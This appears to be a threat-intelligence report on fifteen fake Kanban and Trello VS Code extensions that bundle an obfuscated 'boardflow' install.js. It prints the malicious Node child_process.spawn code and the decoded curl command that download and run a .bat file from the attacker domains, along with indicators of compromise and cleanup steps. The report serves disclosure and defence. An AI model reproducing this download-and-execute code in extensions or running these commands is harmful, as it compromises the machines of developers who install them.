The boardflow campaign: 15 fake Kanban VS Code extensions that download and run a remote payload
Everyone wants a Kanban board inside their editor. Over ten weeks from June to August 2026, fifteen of them hit the Microsoft VS Code Marketplace — SlixBoard, FocusDeck, LineDeck, Trello-Board, trello-deck, Brux-Board, and nine more. Each one had a different publisher name. Each one shipped a small UI shell that rendered columns and cards. And each one bundled the same boardflow npm dependency, whose install.js script did the real work: decode a curl command from a wall of scrambled strings, download a .bat file, and run it.
The threat actor changed the payload domain three times and rotated through eleven publisher accounts. The code stayed the same. The TLSH fingerprints of the install scripts stayed near-identical across the family.
TL;DR
- 15 extensions copy the names of board tools and publish from eleven throwaway marketplace accounts.
- Each extension runs an obfuscated
install.json activation that decodes acurlcommand, downloads a.batfile, and runs it. - Three payload domains rotated over ten weeks:
pixelrbx[.]com→giantapplebees[.]shop→elrbx[.]com. - Near-identical TLSH fingerprints across eleven publishers confirm one code base.
What the extensions do
Every extension ships a small UI shell — a Kanban board, a Trello deck, a “project flow” panel — and a bundled boardflow npm dependency. The boardflow package contains an install.js script. The script is the payload.
On activation, the extension loads boardflow and runs install.js. The script does not call curl or the payload domain by name. It stores the command parts and the URL in an array of scrambled strings — a classic _0x-style obfuscation — and rotates the array at runtime until the strings line up. Then it spawns a hidden child_process that runs cmd.exe /c curl -L -o %TEMP%\run.bat <url> && %TEMP%\run.bat.
require('child_process').spawn('cmd.exe', [
'/c', 'curl', '-L', '-o', '%TEMP%\\run.bat',
'https://elrbx.com/payload.bat', '&&', '%TEMP%\\run.bat'
], { windowsVerbatimArguments: true, detached: true, stdio: 'ignore' }).unref();
The activation event is * or onStartupFinished, so the payload runs on every IDE start.
The payload
We downloaded the VSIX artifacts from storage and decompiled the boardflow install.js. The obfuscated string table decodes to a single curl command:
curl -L -o "%TEMP%/846385d443.bat" "http://pixelrbx.com/846385d443.bat"
Then, immediately:
"%TEMP%/846385d443.bat"
The install script chains the download and the execution — no second step, no user interaction. The .bat content is whatever the threat actor serves from the payload domain at the time of the request.
We fetched the payload URL from pixelrbx[.]com at the time of analysis. The server returned HTTP 200 with content-type: application/x-msdownload — confirming it is (or was) a .bat download endpoint — but the body is now 0 bytes. The threat actor replaced the payload with an empty file after the campaign was caught. The elrbx[.]com and giantapplebees[.]shop domains are fully unreachable. The extensions still try to fetch on every IDE start, so if the threat actor restores a non-empty payload, every installed extension picks it up on the next launch.
The three payload domains
| Domain | First seen | Last seen | Extensions |
|---|---|---|---|
pixelrbx[.]com |
2026-07-24 | 2026-07-26 | 3 |
giantapplebees[.]shop |
2026-08-07 | 2026-08-07 | 1 |
elrbx[.]com |
2026-08-05 | 2026-08-18 | 6 |
The earlier June samples (StudioBoard, AppCreationPLC.boardwalk, ByteLabs.boardstepapp, AppReleasePLC.boardlinkapplication) used the same obfuscated install script but the domain was not extracted. The last one, boardlinkapplication, drops an .hta payload and runs it with mshta.exe instead of a .bat. They belong to the same family by TLSH similarity and by the board/Kanban lure.
The 15 extensions
| Date | Extension | Publisher | Payload host |
|---|---|---|---|
| 2026-06-06 | StudioBoard.studioboard-4.7.0 |
StudioBoard | (not extracted) |
| 2026-06-09 | AppCreationPLC.boardwalk-1.7.0 |
AppCreationPLC | (remote script) |
| 2026-06-14 | ByteLabs.boardstepapp-1.6.7 |
ByteLabs | (cscript) |
| 2026-06-24 | AppReleasePLC.boardlinkapplication-1.5.5 |
AppReleasePLC | .hta via mshta.exe |
| 2026-07-24 | GMSoftwares.trello-workspace-1.0.1 |
GMSoftwares | boardflow dep |
| 2026-07-26 | RealismHub.trello-management-1.0.1 |
RealismHub | pixelrbx[.]com |
| 2026-07-26 | GFSoftworks.trello-manager-1.0.3 |
GFSoftworks | pixelrbx[.]com/846385443 |
| 2026-07-27 | MatthewEvans.click-board-1.0.3 |
MatthewEvans | boardflow dep |
| 2026-08-05 | BLSoftworks.FocusDeck-1.0.0 |
BLSoftworks | elrbx[.]com |
| 2026-08-07 | testpublisher610.managerblx123-5.0.5 |
testpublisher610 | giantapplebees[.]shop |
| 2026-08-11 | LineInnovation.LineDeck-1.0.0 |
LineInnovation | elrbx[.]com |
| 2026-08-12 | TrelloWorks.trello-board-1.0.0 |
TrelloWorks | elrbx[.]com |
| 2026-08-13 | TrelloSoftWorks.trello-deck-1.0.0 |
TrelloSoftWorks | elrbx[.]com |
| 2026-08-18 | GRSoftworks.SlixBoard-1.0.0 |
GRSoftworks | elrbx[.]com |
| 2026-08-18 | GRSoftworks.Brux-Board-1.0.0 |
GRSoftworks | elrbx[.]com |
The publisher rotation
The threat actor uses a fresh publisher account for almost every extension. The publisher name usually matches the fake board product (BLSoftworks for FocusDeck, TrelloWorks for trello-board, LineInnovation for LineDeck). Two extensions on August 18 share the GRSoftworks account. None of the accounts has any other published extension or any web presence. This pattern makes per-publisher blocklists useless — the threat actor generates a new name for each wave.
The TLSH fingerprint
The TLSH hashes of the install scripts fall into one family. The first block of each hash is T1 and the next blocks share the pattern 75331D or 75331DE0C9. The hashes differ only in the later blocks, which reflects the small changes the threat actor makes to the string array and the payload URL. Near-identical TLSH across eleven publishers and three payload domains confirms one code base.
What to do
If you installed any of the 15 extensions above, do this:
- Uninstall the extension from VS Code:.
- Open the system temporary directory and delete any
.bator.htafile you did not put there. - Run a full malware scan on the machine.
If you publish extensions on the VS Code: Marketplace, do this:
- Do not bundle an
install.jsscript that runs on activation. - Do not download a remote payload and run it from an extension.
- Do not obfuscate the command parts of a
child_processcall.
Indicators of Compromise
Malicious extension identifiers
StudioBoard.studioboard-4.7.0AppCreationPLC.boardwalk-1.7.0ByteLabs.boardstepapp-1.6.7AppReleasePLC.boardlinkapplication-1.5.5GMSoftwares.trello-workspace-1.0.1RealismHub.trello-management-1.0.1GFSoftworks.trello-manager-1.0.3MatthewEvans.click-board-1.0.3BLSoftworks.FocusDeck-1.0.0testpublisher610.managerblx123-5.0.5LineInnovation.LineDeck-1.0.0TrelloWorks.trello-board-1.0.0TrelloSoftWorks.trello-deck-1.0.0GRSoftworks.SlixBoard-1.0.0GRSoftworks.Brux-Board-1.0.0
Network
| Type | Value |
|---|---|
| Domain | elrbx[.]com |
| Domain | pixelrbx[.]com |
| Domain | giantapplebees[.]shop |
| URL | https[://]www.pixelrbx.com/846385443 |
| URL | https[://]giantapplebees.shop/newly.js |
Behavioral
- A bundled
boardflowdependency with an obfuscatedinstall.js. - An array of scrambled strings that the script rotates at runtime to build a
curlcommand. - A
child_process.spawncall that runscmd.exe /c curl -L -o %TEMP%\run.bat <url> && %TEMP%\run.bat. - Activation on
*oronStartupFinished, so the payload runs on every IDE start.